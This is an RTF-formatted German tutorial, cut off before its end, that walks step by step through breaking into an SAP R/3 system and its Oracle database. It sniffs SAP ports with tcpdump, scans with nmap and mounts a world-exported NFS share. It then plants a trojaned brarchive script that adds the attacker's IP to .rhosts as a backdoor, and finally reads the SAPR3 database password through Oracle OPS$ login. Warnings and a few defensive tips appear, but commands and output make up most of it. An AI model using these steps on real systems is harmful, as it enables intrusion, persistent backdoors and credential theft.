{\rtf1\ansi\deff0 {\fonttbl{\f2\fnil\fcharset0 Courier New;} {\f1\fnil\fcharset0 Arial;} {\f0\fnil\fcharset0 Times New Roman;} } {\colortbl;}{\stylesheet{\s1 Heading 1;}{\s2 Heading 2;}{\s3 Heading 3;}{\s4 Heading 4;}{\s5 Heading 5;}{\s6 Heading 6;}{\s7 Heading 7;}{\s8 Heading 8;}{\s9 Heading 9;}} \deflang1024\notabind\facingp\hyphauto1\widowctrl \sectd\plain\pgwsxn11905\pghsxn16837\marglsxn1440\margrsxn1440\margtsxn1440\margbsxn1920\headery0\footery0\pgndec\titlepg{\headerf\pard\sl-240\sb770\sa430\plain\tqc\tx4512\tqr\tx9025 {}\tab {}\tab {}\par}{\footerf\pard\sl-240\sb770\sa910\plain\tqc\tx4512\tqr\tx9025 {}\tab {}\tab {\i \chpgn }\par}{\headerl\pard\sl-240\sb770\sa430\plain\tqc\tx4512\tqr\tx9025 {\i Wir hacken eine SAP Datenbank}\tab {}\tab {}\par}{\footerl\pard\sl-240\sb770\sa910\plain\tqc\tx4512\tqr\tx9025 {\i \chpgn }\tab {}\tab {}\par}{\headerr\pard\sl-240\sb770\sa430\plain\tqc\tx4512\tqr\tx9025 {}\tab {}\tab {\i Wir hacken eine SAP Datenbank}\par}{\footerr\pard\sl-240\sb770\sa910\plain\tqc\tx4512\tqr\tx9025 {}\tab {}\tab {\i \chpgn }\par}\pard\sb448\li960\sl776\qc \b\fs59\f1 Wir hacken eine SAP Datenbank\keepn\hyphpar0\par\pard\sb259\li960\sl539\qc \fs41 Jochen Hein\keepn\hyphpar0\par\pard\sb311\s1\sl539 1. Wie man ein SAP hacken kann und dabei seinen Spa\'df hat\keepn\hyphpar0\par\pard\sb240\brdrt\brdrs\brdrw40\brsp120\li1720\ri240\brdrl\brdrs\brdrw40\brsp240\li1720\ri240\brdrb\brdrs\brdrw40\brsp0\li1720\ri240\brdrr\brdrs\brdrw40\brsp240\li1720\ri240\sl449\qc \fs34 Warning\keepn\hyphpar0\par\pard\sb120\brdrt\brdrs\brdrw40\brsp120\li1720\ri240\brdrl\brdrs\brdrw40\brsp240\li1720\ri240\brdrb\brdrs\brdrw40\brsp0\li1720\ri240\brdrr\brdrs\brdrw40\brsp240\li1720\ri240\sl286\qj \b0\fs22\lang1033 Kids, don't do that at home. Allerdings benutzen wir nur Standardtechniken, die jedem Admin lange bekannt sind.\keepn\par\pard\brdrt\brdrs\brdrw40\brsp120\li1720\ri240\brdrl\brdrs\brdrw40\brsp240\li1720\ri240\brdrb\brdrs\brdrw40\brsp0\li1720\ri240\brdrr\brdrs\brdrw40\brsp240\li1720\ri240\sl-120\keepn\par\pard\sl-1\par\pard\sb259\s2\sl449 \b\fs34\lang1024 1.1. Hacken mit Unix/Netzwerk-Mitteln\keepn\hyphpar0\par\pard\sb173\li960\sl312\qj \b0\fs24\lang1033\f0 Wir wissen nichts (au\'dfer, dass es ein SAP R/3 geben soll - die Chancen f\'fcr eine Oracle-Datenbank sind gut) und haben einen Laptop dabei. Zuf\'e4lligerweise finden wir eine beschaltete Netzwerkdose (oder klemmen uns mit einem Mini-Hub zus\'e4tzlich an). Und dann lauschen wir auf das, was da kommt.\par\pard\sb120\li960\sl312\qj SAP R/3 Systeme k\'f6nnen auf vielen verschiedenen Ports verf\'fcgbar sein. In der Regel findet man die Applikationsserver auf einem Port zwischen 3200 und 3299, den Message-Server zwischen 3600 und 3699. Die letzten zwei Stellen sind \'fcblicherweise die sogenannte Systemnummer. Man kann diese Ports zwar in den Profiles \'e4ndern, man kann aber davon ausgehen, dass die meisten Systeme in dieser Konfiguration betrieben werden. Die {\field{\*\fldinst HYPERLINK \\l ID_fig_45_sniffer}{\fldrslt Figure 1}} zeigt ein Beispiel f\'fcr den Aufruf von \b tcpdump\b0 , es gibt aber noch andere Tools.\sa240\par\pard\sl-1{\*\do\dobxcolumn\dobypara\dodhgt0\dpline\dpptx0\dppty0\dpptx8065\dppty0\dpx960\dpy0\dpxsize8065\dpysize0\dplinew40}\keepn\par\pard\sb120\li960\sl281\qj {\*\bkmkstart ID_fig_45_sniffer}{\*\bkmkend ID_fig_45_sniffer}\fs19\lang1024\f2 \~\fs21 \sa0\par\fi0\sb0 \fs19 \~\fs21 #!/bin/sh\sa0\par\fi0\sb0 \fs19 \~\fs21 tcpdump -n -i eth0 'tcp[13] & 3 != 0 and \\\sa0\par\fi0\sb0 \fs19 \~\fs21 (( tcp[2:2] >= 3200 tcp[2:2] < 3300) or \\\sa0\par\fi0\sb0 \fs19 \~\~5\~\fs21 ( tcp[2:2] >= 3600 tcp[2:2] < 3700))'\sa0\par\fi0\sb0 \fs19 \~\fs21 \keepn\hyphpar0\par\pard\sb120\li960\sl312\qj \b\fs24\f0 Figure 1. Packet-Sniffer\sa120\keepn\hyphpar0\par\pard\sl-1{\*\do\dobxcolumn\dobypara\dodhgt0\dpline\dpptx0\dppty0\dpptx8065\dppty0\dpx960\dpy0\dpxsize8065\dpysize0\dplinew40}\par\pard\sb240\li960\sl312\qj \b0\lang1033 Als Ergebnis bekommt man nur die Verbindungsaufbauten zu einem Applikationsserver bzw. dem Message-Server zu sehen. Der erste Ausdruck \fs21\f2 tcp[13] & 3 != 0\fs24\f0 filtert genau diese TCP-Pakete heraus. Hier werden nur IP-Adressen und Portnummern, keine Namen angezeigt. Das Ergebnis ({\field{\*\fldinst HYPERLINK \\l ID_fig_45_sniffer_45_2}{\fldrslt Figure 2}}, hier nur verk\'fcrzt dargestellt) merken wir uns.\sa240\par\pard\sl-1{\*\do\dobxcolumn\dobypara\dodhgt0\dpline\dpptx0\dppty0\dpptx8065\dppty0\dpx960\dpy0\dpxsize8065\dpysize0\dplinew40}\keepn\par\pard\sb120\li960\sl281\qj {\*\bkmkstart ID_fig_45_sniffer_45_2}{\*\bkmkend ID_fig_45_sniffer_45_2}\fs19\lang1024\f2 \~\fs21 \sa0\par\fi0\sb0 \fs19 \~\fs21 \fs19 \sa0\par\fi0\sb0 192.168.1.1.4722 > 192.168.10.1.3200\sa0\par\fi0\sb0 \fs21 \sa0\par\fi0\sb0 \fs19 \~\fs21 \keepn\hyphpar0\par\pard\sb120\li960\sl312\qj \b\fs24\f0 Figure 2. Ergebnis des Sniffers\sa120\keepn\hyphpar0\par\pard\sl-1{\*\do\dobxcolumn\dobypara\dodhgt0\dpline\dpptx0\dppty0\dpptx8065\dppty0\dpx960\dpy0\dpxsize8065\dpysize0\dplinew40}\par\pard\sb240\li960\sl312\qj \b0\lang1033 Damit kennen wir einen oder mehrere SAP-Server und k\'f6nnen diese weiter analysieren. Abhilfe gegen diesen ersten Angriff ist die Verwendung eines geswitchten Netzes, wo jeder Rechner nur die Pakete sieht, die f\'fcr ihn bestimmt sind. Anhand der in diesem Netz aktiven Adressen w\'e4hlen wir f\'fcr das folgende eine passende IP-Adresse (in der Hoffnung, dass uns keiner darauf kommt). Hilfreich f\'fcr den Systemverwalter w\'e4re ein Tool wie \b arpwatch\b0 , das zumindest den neuen Rechner anzeigt. Der Einbrecher kann nat\'fcrlich abends eine MAC- und IP-Adresse eines Arbeitsplatz-Rechners verwenden - dann hilft nur noch eine Time-Restriction und die passende \'dcberwachung im Netz.\par\pard\sb120\li960\sl312\qj Mit einem speziellen Linux-System auf dem Laptop ist das Mitschneiden f\'fcr den Netzwerkverwalter praktisch unsichtbar. Das spezielle an diesem Linux ist ein Kernel-Patch (etwa unter http://linux.davecentral.com/projects/stealthkernelpatch/, der verhindert, dass das System irgendwann ein Paket schickt. Andernfalls k\'f6nnte z.B ein Intrusion Detection System (IDS) erkennen, dass ein Rechner mit einer Netzwerk-Karte im Promicous-Mode aktiv ist.\par\pard\sb120\li960\sl312\qj Im n\'e4chsten Schritt raten wir eine freie IP-Adresse (evtl. von einem Nachts ausgeschalteten PC) und verwenden diese auf unserem Laptop. Sollte es sich als notwendig erweisen, einen DNS-Zugang zu haben, so lauscht man auf Pakete zum Port 53 und tr\'e4gt den passenden Server lokal ein. Mit etwas Gl\'fcck kommen wir ohne aus (Wenn der Name-Server mit der Option \fs21\f2 query-log\fs24\f0 l\'e4uft, dann k\'f6nnten wir erkannt werden).\par\pard\sb120\li960\sl312\qj Mit dem Programm \b sapgui\b0 verbinden wir uns auf diesen Rechner und diesen Port, damit erhalten wir in der Statuszeile die System-ID. Diese ist, bei der Verwendung von Oracle auch gleich die Oracle-SID. Wenn wir eine Verbindung zu einem Port 36\i\f2 nr\i0\f0 gefunden haben, versuchen wir mit Hilfe des Programmes \b lgtst\b0 (ist beim Unix-SAPGUI dabei) weitere Informationen \'fcber das System zu erhalten. In diesem Fall wird vermutlich die Lastverteilung eingesetzt.\par\pard\sb259\s2\sl449 \b\fs34\lang1024\f1 1.2. Ein kleiner Umweg\keepn\hyphpar0\par\pard\sb240\brdrt\brdrs\brdrw40\brsp120\li1720\ri240\brdrl\brdrs\brdrw40\brsp240\li1720\ri240\brdrb\brdrs\brdrw40\brsp0\li1720\ri240\brdrr\brdrs\brdrw40\brsp240\li1720\ri240\sl449\qc Warning\keepn\hyphpar0\par\pard\sb120\brdrt\brdrs\brdrw40\brsp120\li1720\ri240\brdrl\brdrs\brdrw40\brsp240\li1720\ri240\brdrb\brdrs\brdrw40\brsp0\li1720\ri240\brdrr\brdrs\brdrw40\brsp240\li1720\ri240\sl286\qj \b0\fs22\lang1033 Ab hier werden wir im Netz aktiv. Wenn der Systemverwalter ein Intrusion Detection System hat, oder auf Portscans achtet oder seine Log-Dateien liest, dann k\'f6nnte ihm etwas auffallen. Tun Sie's nicht in fremden Netzen - auch im eigenen sollten Sie erstmal mit Ihren Kollegen reden. You have been warned.\keepn\par\pard\brdrt\brdrs\brdrw40\brsp120\li1720\ri240\brdrl\brdrs\brdrw40\brsp240\li1720\ri240\brdrb\brdrs\brdrw40\brsp0\li1720\ri240\brdrr\brdrs\brdrw40\brsp240\li1720\ri240\sl-120\keepn\par\pard\sl-1\par\pard\sb240\li960\sl312\qj \fs24\f0 Zun\'e4chst bekommen wir heraus, was dort f\'fcr ein System ist (Tools daf\'fcr gibt's an jeder Stra\'dfenecke). Je nach System kann es sich anbieten, direkt das System zu attackieren, rootshell (http://www.rootshell.com) ist daf\'fcr immer eine gute Quelle.\par\pard\sb120\li1200\sl312\fi-240\qj \tx1200 \fs19\lang1024 \'95\tab \b\fs24 telnet\b0 gibt vielleicht den Namen des Betriebssystems aus.\hyphpar0\par\pard\sb120\li1200\sl312\fi-240\qj \tx1200 \fs19 \'95\tab \b\fs24 nmap -O \i\f2 victim-IP\b0\i0\f0 r\'e4t m\'f6glicherweise das Betriebssystem.\hyphpar0\par\pard\sb120\li960\sl312\qj \lang1033 \'93Das ist ein Unix-System, damit kenne ich mich aus.\'94 Ein erster, ziemlich dreister Versuch ist das Anmelden als \fs21\f2 root\fs24\f0 mit dem Kommando \b rlogin\b0 . Ja, das klappt gelegentlich wirklich - Game Over, thank your for playing.\par\pard\sb120\li960\sl312\qj Bei Unix-Systemen kann man mit dem Befehl \b showmount -e\b0 die via NFS exportierten Verzeichnisse finden. Mit etwas Gl\'fcck sind wichtige Volumes an alle Rechner freigegeben, eventuell sogar zum Schreibzugriff. Ein abschreckendes Beispiel finden Sie in {\field{\*\fldinst HYPERLINK \\l ID_fig_45_nfs_45_export}{\fldrslt Figure 3}}.\sa240\par\pard\sl-1{\*\do\dobxcolumn\dobypara\dodhgt0\dpline\dpptx0\dppty0\dpptx8065\dppty0\dpx960\dpy0\dpxsize8065\dpysize0\dplinew40}\keepn\par\pard\sb120\li960\sl281\qj {\*\bkmkstart ID_fig_45_nfs_45_export}{\*\bkmkend ID_fig_45_nfs_45_export}\fs19\lang1024\f2 \~\fs21 \sa0\par\fi0\sb0 \fs19 \~\fs21 \fs19 cracker#\fs21 \b showmount -e \i victim-IP\b0\i0 \sa0\par\fi0\sb0 \fs19 \~\fs21 \fs19 Export list for \i victim-IP\i0 :\fs21 \sa0\par\fi0\sb0 \fs19 \~\fs21 \fs19 /sapmnt/\i SID\i0 (everyone)\fs21 \sa0\par\fi0\sb0 \fs19 \~\~5\~\fs21 \keepn\hyphpar0\par\pard\sb120\li960\sl312\qj \b\fs24\f0 Figure 3. NFS ausbeuten\sa120\keepn\hyphpar0\par\pard\sl-1{\*\do\dobxcolumn\dobypara\dodhgt0\dpline\dpptx0\dppty0\dpptx8065\dppty0\dpx960\dpy0\dpxsize8065\dpysize0\dplinew40}\par\pard\sb240\li960\sl312\qj \b0\lang1033 Aha: Hier l\'e4uft das System \i\f2 SID\i0\f0 . Das sehen wir auch schon mit dem SAPGUI nach dem Portscan. Was aber schon viel n\'fctzlicher ist, wir k\'f6nnen das NFS-Volume mounten, einen Benutzer \i\fs21\f2 sid\i0 adm\fs24\f0 anlegen und beliebige Programme austauschen (ja, das ist ein Beispiel aus der Praxis, das tats\'e4chlich existiert - beinahe fahrl\'e4ssig finde ich). Dem Benutzer \i\fs21\f2 sid\i0 adm\fs24\f0 geh\'f6ren die Daten des R/3-Systems. Unter Unix geh\'f6rt die Oracle-Datenbank dem Benutzer \fs21\f2 ora\i sid\i0\fs24\f0 .\par\pard\sb120\li960\sl312\qj Die {\field{\*\fldinst HYPERLINK \\l ID_fig_45_trojaner}{\fldrslt Figure 4}} zeigt dazu eine m\'f6gliche Herangehensweise zum Ersetzen von Unix Programmen. Mit etwas Gl\'fcck f\'e4llt das keinem auf - und wenn, dann ist kaum etwas nachzuvollziehen (oder f\'fchren Sie Logs \'fcber erfolgreiche NFS-Mounts?).\sa240\par\pard\sl-1{\*\do\dobxcolumn\dobypara\dodhgt0\dpline\dpptx0\dppty0\dpptx8065\dppty0\dpx960\dpy0\dpxsize8065\dpysize0\dplinew40}\keepn\par\pard\sb120\li960\sl281\qj {\*\bkmkstart ID_fig_45_trojaner}{\*\bkmkend ID_fig_45_trojaner}\fs19\lang1024\f2 \~\fs21 \sa0\par\fi0\sb0 \fs19 \~\fs21 \fs19 cracker# \fs21 \b mount -t nfs \i Victim-IP\i0 :/sapmnt/\i SID\i0 /mnt\b0 \sa0\par\fi0\sb0 \fs19 \~\fs21 \fs19 cracker# \fs21 \b ls -l\b0 \sa0\par\fi0\sb0 \fs19 \~\fs21 ... in dieser Liste finden wir die numerische Benutzernummer des\sa0\par\fi0\sb0 \fs19 \~\~5\~\fs21 Unix-Benutzers sidadm ... \sa0\par\fi0\sb0 \fs19 \~\fs21 \fs19 cracker# \fs21 \b adduser -u \i nummer\i0 \i sid\i0 adm\b0 \sa0\par\fi0\sb0 \fs19 \~\fs21 \fs19 cracker# \fs21 \b su - sidadm\b0 \sa0\par\fi0\sb0 \fs19 \~\fs21 \fs19 sidadm> \fs21 \b cd /mnt/exe\b0 \sa0\par\fi0\sb0 \fs19 \~\fs21 \fs19 sidadm> \fs21 \b mv brarchive .brarchive\b0 \sa0\par\fi0\sb0 \fs19 \~10\~\fs21 \fs19 sidadm> \fs21 \b cat > brarchive\b0 \sa0\par\fi0\sb0 \fs19 \~\fs21 \fs19 #!/bin/sh\sa0\par\fi0\sb0 # Erstellen einer Hintert\'fcr\sa0\par\fi0\sb0 echo meine-ip >> $HOME/.rhosts\sa0\par\fi0\sb0 # Und damit es nicht auff\'e4llt das alte Programm starten\sa0\par\fi0\sb0 exec /sapmnt/SID/exe/.brarchive\fs21 \sa0\par\fi0\sb0 \fs19 \~\fs21 \b Strg-C\b0 \sa0\par\fi0\sb0 \fs19 \~\fs21 \fs19 sidadm> \fs21 \b chmod a+x brarchive\b0 \sa0\par\fi0\sb0 \fs19 \~\fs21 \keepn\hyphpar0\par\pard\sb120\li960\sl312\qj \b\fs24\f0 Figure 4. Einspielen eines Trojanischen Pferdes\sa120\keepn\hyphpar0\par\pard\sl-1{\*\do\dobxcolumn\dobypara\dodhgt0\dpline\dpptx0\dppty0\dpptx8065\dppty0\dpx960\dpy0\dpxsize8065\dpysize0\dplinew40}\par\pard\sb240\li960\sl312\qj \b0\lang1033 Nun einfach einen Tag warten (n\'e4mlich bis zum n\'e4chsten Lauf des Programmes \b brarchive\b0 ) und wir haben gewonnen. Wir k\'f6nnen uns ohne Pa\'dfwort mit dem Programm \b rlogin\b0 als \i\fs21\f2 sid\i0 adm\fs24\f0 anmelden. Herzlichen Dank f\'fcr dieses einfache Spiel.\par\pard\sb259\s2\sl449 \b\fs34\lang1024\f1 1.3. Wieder zur\'fcck zum SAP\keepn\hyphpar0\par\pard\sb173\li960\sl312\qj \b0\fs24\lang1033\f0 Ein Portscan auf den oben gefundenen Rechner Rechner gibt evtl. den Message-Server preis und vielleicht einen Oracle-Port. Die {\field{\*\fldinst HYPERLINK \\l ID_fig_45_nmap}{\fldrslt Figure 5}} enth\'e4lt ein passendes Beispiel.\sa240\par\pard\sl-1{\*\do\dobxcolumn\dobypara\dodhgt0\dpline\dpptx0\dppty0\dpptx8065\dppty0\dpx960\dpy0\dpxsize8065\dpysize0\dplinew40}\keepn\par\pard\sb120\li960\sl281\qj {\*\bkmkstart ID_fig_45_nmap}{\*\bkmkend ID_fig_45_nmap}\fs19\lang1024\f2 \~\fs21 \sa0\par\fi0\sb0 \fs19 \~\fs21 nmap -p 3200-3699 {\*\bkmkstart ID_co_45_nmap_45_sap}{\*\bkmkend ID_co_45_nmap_45_sap}\b (1)\b0 \sa0\par\fi0\sb0 \fs19 \~\fs21 nmap -p 1527 {\*\bkmkstart ID_co_45_nmap_45_oracle}{\*\bkmkend ID_co_45_nmap_45_oracle}\b (2)\b0 \sa0\par\fi0\sb0 \fs19 \~\fs21 \keepn\hyphpar0\par\pard\sb120\li960\sl312\qj \b\fs24\f0 Figure 5. Aufruf eines Portscanners\sa120\keepn\hyphpar0\par\pard\sl-1{\*\do\dobxcolumn\dobypara\dodhgt0\dpline\dpptx0\dppty0\dpptx8065\dppty0\dpx960\dpy0\dpxsize8065\dpysize0\dplinew40}\par\pard\sb240\li1320\sl312\fi-360\qj \tx1320 (1)\tab \b0 Das sind die Ports des SAP-Dispatchers (32\i\f2 xx\i0\f0 ), eventuelle Gateway-Prozesse (33\i\f2 xx\i0\f0 ) und Message-Server (36\i\f2 xx\i0\f0 ).\hyphpar0\par\pard\sb120\li1320\sl312\fi-360\qj \tx1320 \b (2)\tab \b0 Suche nach einem Oracle-Listener. Es gibt Leute, die behaupten der liefe standardm\'e4\'dfig auf dem Port 1521. Hm.\hyphpar0\par\pard\sb120\li960\sl312\qj \lang1033 Raten: Hosts in der N\'e4he (die letzte Stelle der IP-Adresse \'e4ndern) pr\'fcfen! Bei mehreren SAP Systemen kann das weitere Server bringen. Au\'dferdem kann man m\'f6glicherweise Vertrauensbeziehungen zwischen den verschiedenen Systemen ausnutzen - aber das ist heute nicht unser Ziel.\par\pard\sb120\li960\sl312\qj Annahme: Es gibt eine Zentral-Instanz, DB und diese laufen auf einem Rechner. Ob diese Annahme stimmt, kann man mit dem Programm \b sapinfo\b0 herausbekommen. Die {\field{\*\fldinst HYPERLINK \\l ID_fig_45_sapinfo}{\fldrslt Figure 6}} enth\'e4lt wieder ein Beispiel.\sa240\par\pard\sl-1{\*\do\dobxcolumn\dobypara\dodhgt0\dpline\dpptx0\dppty0\dpptx8065\dppty0\dpx960\dpy0\dpxsize8065\dpysize0\dplinew40}\keepn\par\pard\sb120\li960\sl281\qj {\*\bkmkstart ID_fig_45_sapinfo}{\*\bkmkend ID_fig_45_sapinfo}\fs19\lang1024\f2 \~\fs21 \sa0\par\fi0\sb0 \fs19 \~\fs21 \fs19 cracker# \fs21 \b sapinfo awhost=\i ip-adresse\i0 sysnr=\i nr\b0\i0 \sa0\par\fi0\sb0 \fs19 \~\fs21 SAP System Information\sa0\par\fi0\sb0 \fs19 \~\fs21 -----------------------------------------------\sa0\par\fi0\sb0 \fs19 \~\~5\~\fs21 \sa0\par\fi0\sb0 \fs19 \~\fs21 Destination \i hostname\i0 _\i SID\i0 _\i nr\i0 \sa0\par\fi0\sb0 \fs19 \~\fs21 \sa0\par\fi0\sb0 \fs19 \~\fs21 Host \i hostname\i0 \sa0\par\fi0\sb0 \fs19 \~\fs21 System ID \i SID\i0 \sa0\par\fi0\sb0 \fs19 \~10\~\fs21 Database \i SID\i0 \sa0\par\fi0\sb0 \fs19 \~\fs21 DB host \i hostname\i0 \sa0\par\fi0\sb0 \fs19 \~\fs21 DB system ORACLE \sa0\par\fi0\sb0 \fs19 \~\fs21 \sa0\par\fi0\sb0 \fs19 \~\fs21 SAP release 40B \sa0\par\fi0\sb0 \fs19 \~15\~\fs21 SAP kernel release 40B \sa0\par\fi0\sb0 \fs19 \~\fs21 \sa0\par\fi0\sb0 \fs19 \~\fs21 RFC Protokoll 011\sa0\par\fi0\sb0 \fs19 \~\fs21 Characters 1100\sa0\par\fi0\sb0 \fs19 \~\fs21 Integers BIG\sa0\par\fi0\sb0 \fs19 \~20\~\fs21 Floating P. IE3\sa0\par\fi0\sb0 \fs19 \~\fs21 SAP machine id 320\sa0\par\fi0\sb0 \fs19 \~\fs21 \sa0\par\fi0\sb0 \fs19 \~\fs21 Timezone 3600 (Daylight saving time)\sa0\par\fi0\sb0 \fs19 \~\fs21 \keepn\hyphpar0\par\pard\sb120\li960\sl312\qj \b\fs24\f0 Figure 6. Das Programm sapinfo\sa120\keepn\hyphpar0\par\pard\sl-1{\*\do\dobxcolumn\dobypara\dodhgt0\dpline\dpptx0\dppty0\dpptx8065\dppty0\dpx960\dpy0\dpxsize8065\dpysize0\dplinew40}\par\pard\sb240\li960\sl312\qj \b0\lang1033 Bei einem Rechner mit nur einer Netzwerk-Karte ist man nun fertig. Ist der Rechner multi-homed, dann kann uns vielleicht die Ausgabe von \b lgtst\b0 weiterhelfen. Ansonsten hilft entweder gezieltes Raten oder der Zugriff auf den DNS-Server des Opfers (so vorhanden).\par\pard\sb120\li960\sl312\qj Wir wissen jetzt:\par\pard\sb120\li1200\sl312\fi-240\qj \tx1200 \fs19\lang1024 \'95\tab \fs24 Die IP-Adresse(n) des Opfers\hyphpar0\par\pard\sb120\li1200\sl312\fi-240\qj \tx1200 \fs19 \'95\tab \fs24 Die Systemnummer des R/3 Systems (die letzten zwei Stellen des SAP-Ports)\hyphpar0\par\pard\sb120\li1200\sl312\fi-240\qj \tx1200 \fs19 \'95\tab \fs24 Die System-ID des Systems und der Oracle-Datenbank\hyphpar0\par\pard\sb120\li1200\sl312\fi-240\qj \tx1200 \fs19 \'95\tab \fs24 Den Namen des Datenbank-Servers\hyphpar0\par\pard\sb120\li960\sl312\qj \lang1033 Damit bewaffnet machen wir uns auf zu dem eigentlichen Ziel: Dem Zugriff auf die SAP Datenbank.\par\pard\sb259\s2\sl449 \b\fs34\lang1024\f1 1.4. Erhacken der Oracle-Datenbank\keepn\hyphpar0\par\pard\sb173\li960\sl312\qj \b0\fs24\lang1033\f0 Wir erstellen eine SQL-NetV2 Konfiguration, die uns hoffentlich Zugang zur Datenbank verschafft. Wir brauchen eine Datei \fs21\f2 sqlnet.ora\fs24\f0 (Standard-SAP, siehe {\field{\*\fldinst HYPERLINK \\l ID_fig_45_sqlnet}{\fldrslt Figure 7}}) und eine Datei \fs21\f2 tnsnames.ora\fs24\f0 ({\field{\*\fldinst HYPERLINK \\l ID_fig_45_tnsnames}{\fldrslt Figure 8}}). Mit der Umgebungsvariablen TNS_ADMIN k\'f6nnen wir den Pfad zu diesen Dateien angeben - aber auf unserem Laptop (hier sind die Oracle-Programme ebenfalls installiert) sind wir da sowieso frei.\sa240\par\pard\sl-1{\*\do\dobxcolumn\dobypara\dodhgt0\dpline\dpptx0\dppty0\dpptx8065\dppty0\dpx960\dpy0\dpxsize8065\dpysize0\dplinew40}\keepn\par\pard\sb120\li960\sl281\qj {\*\bkmkstart ID_fig_45_sqlnet}{\*\bkmkend ID_fig_45_sqlnet}\fs19\lang1024\f2 \~\fs21 \sa0\par\fi0\sb0 \fs19 \~\fs21 ################\sa0\par\fi0\sb0 \fs19 \~\fs21 # Filename......: template sqlnet.ora\sa0\par\fi0\sb0 \fs19 \~\fs21 # Name..........: \sa0\par\fi0\sb0 \fs19 \~\~5\~\fs21 # Date..........: \sa0\par\fi0\sb0 \fs19 \~\fs21 ################\sa0\par\fi0\sb0 \fs19 \~\fs21 AUTOMATIC_IPC = ON\sa0\par\fi0\sb0 \fs19 \~\fs21 TRACE_LEVEL_CLIENT = OFF\sa0\par\fi0\sb0 \fs19 \~\fs21 SQLNET.EXPIRE_TIME = 0\sa0\par\fi0\sb0 \fs19 \~10\~\fs21 NAMES.DEFAULT_DOMAIN = world\sa0\par\fi0\sb0 \fs19 \~\fs21 NAME.DEFAULT_ZONE = world\sa0\par\fi0\sb0 \fs19 \~\fs21 #SQLNET.AUTHENTICATION_SERVICES = (ALL)\sa0\par\fi0\sb0 \fs19 \~\fs21 \keepn\hyphpar0\par\pard\sb120\li960\sl312\qj \b\fs24\f0 Figure 7. Die Datei \fs21\f2 sqlnet.ora\sa120\keepn\hyphpar0\par\pard\sl-1{\*\do\dobxcolumn\dobypara\dodhgt0\dpline\dpptx0\dppty0\dpptx8065\dppty0\dpx960\dpy0\dpxsize8065\dpysize0\dplinew40}\sa240\par\pard\sl-1{\*\do\dobxcolumn\dobypara\dodhgt0\dpline\dpptx0\dppty0\dpptx8065\dppty0\dpx960\dpy0\dpxsize8065\dpysize0\dplinew40}\keepn\par\pard\sb120\li960\sl281\qj {\*\bkmkstart ID_fig_45_tnsnames}{\*\bkmkend ID_fig_45_tnsnames}\b0\fs19 \~\fs21 \sa0\par\fi0\sb0 \fs19 \~\fs21 \i SID\i0 .world =\sa0\par\fi0\sb0 \fs19 \~\fs21 (DESCRIPTION =\sa0\par\fi0\sb0 \fs19 \~\fs21 (ADDRESS_LIST =\sa0\par\fi0\sb0 \fs19 \~\~5\~\fs21 (ADDRESS =\sa0\par\fi0\sb0 \fs19 \~\fs21 (COMMUNITY = sap.world)\sa0\par\fi0\sb0 \fs19 \~\fs21 (PROTOCOL = TCP)\sa0\par\fi0\sb0 \fs19 \~\fs21 (Host = \i hostname\i0 )\sa0\par\fi0\sb0 \fs19 \~\fs21 (Port = 1527)\sa0\par\fi0\sb0 \fs19 \~10\~\fs21 )\sa0\par\fi0\sb0 \fs19 \~\fs21 )\sa0\par\fi0\sb0 \fs19 \~\fs21 (CONNECT_DATA =\sa0\par\fi0\sb0 \fs19 \~\fs21 (SID = \i SID\i0 )\sa0\par\fi0\sb0 \fs19 \~\fs21 (GLOBAL_NAME = \i SID\i0 .world)\sa0\par\fi0\sb0 \fs19 \~15\~\fs21 )\sa0\par\fi0\sb0 \fs19 \~\fs21 )\sa0\par\fi0\sb0 \fs19 \~\fs21 \keepn\hyphpar0\par\pard\sb120\li960\sl312\qj \b\fs24\f0 Figure 8. Die Datei \fs21\f2 tnsnames.ora\sa120\keepn\hyphpar0\par\pard\sl-1{\*\do\dobxcolumn\dobypara\dodhgt0\dpline\dpptx0\dppty0\dpptx8065\dppty0\dpx960\dpy0\dpxsize8065\dpysize0\dplinew40}\par\pard\sb240\li960\sl312\qj \b0\fs24\lang1033\f0 Wenn die Standard-Pa\'dfw\'f6rter nicht ge\'e4ndert wurden k\'f6nnen wir uns mit dem Befehl \b connect sapr3/sap@\i\f2 SID\b0\i0\f0 im \b svrmgrl\b0 mit der Datenbank verbinden. Andernfalls m\'fcssen wir mit Hilfe des OPS$-Mechanismus von Oracle das Pa\'dfwort des Datenbankbenutzers \fs21\f2 SAPR3\fs24\f0 herausfinden ({\field{\*\fldinst HYPERLINK \\l ID_fig_45_opsuser}{\fldrslt Figure 9}}).\sa240\par\pard\sl-1{\*\do\dobxcolumn\dobypara\dodhgt0\dpline\dpptx0\dppty0\dpptx8065\dppty0\dpx960\dpy0\dpxsize8065\dpysize0\dplinew40}\keepn\par\pard\sb120\li960\sl281\qj {\*\bkmkstart ID_fig_45_opsuser}{\*\bkmkend ID_fig_45_opsuser}\fs19\lang1024\f2 \~\fs21 \sa0\par\fi0\sb0 \fs19 \~\fs21 \i\fs19 sid\i0 adm>\fs21 \b setenv TNS_ADMIN $HOME/\b0 \sa0\par\fi0\sb0 \fs19 \~\fs21 \i\fs19 sid\i0 adm>\fs21 \b setenv ORACLE_HOME /oracle/\i SID\b0\i0 \sa0\par\fi0\sb0 \fs19 \~\fs21 \i\fs19 sid\i0 adm>\fs21 \b setenv ORACLE_SID \i SID\b0\i0 \sa0\par\fi0\sb0 \fs19 \~\~5\~\fs21 \i\fs19 sid\i0 adm>\fs21 \b svrmgrl\b0 \sa0\par\fi0\sb0 \fs19 \~\fs21 \fs19 \sa0\par\fi0\sb0 Oracle Server Manager Release 3.0.6.0.0 - Production\sa0\par\fi0\sb0 \sa0\par\fi0\sb0 (c) Copyright 1999, Oracle Corporation. All Rights Reserved.\sa0\par\fi0\sb0 \sa0\par\fi0\sb0 Oracle8 Enterprise Edition Release 8.0.6.1.0 - Production\sa0\par\fi0\sb0 PL/SQL Release 8.0.6.1.0 - Production\sa0\par\fi0\sb0 \sa0\par\fi0\sb0 SVRMGR>\fs21 \b connect /@\i SID\b0\i0 {\*\bkmkstart ID_co_45_ops}{\*\bkmkend ID_co_45_ops}\b (1)\b0 \sa0\par\fi0\sb0 \fs19 \~\fs21 \fs19 Connected.\sa0\par\fi0\sb0 SVRMGR>\fs21 \b select * from sapuser;\b0 \sa0\par\fi0\sb0 \fs19 \~\fs21 \fs19 USERID PASSWD\sa0\par\fi0\sb0 ------ ------\sa0\par\fi0\sb0 SAPR3 geheim\sa0\par\fi0\sb0 1 row selected.\sa0\par\fi0\sb0 SVRMGR>\fs21 \b connect SAPR3/geheim@\i SID\b0\i0 {\*\bkmkstart ID_co_45_sap}{\*\bkmkend ID_co_45_sap}\b (2)\b0 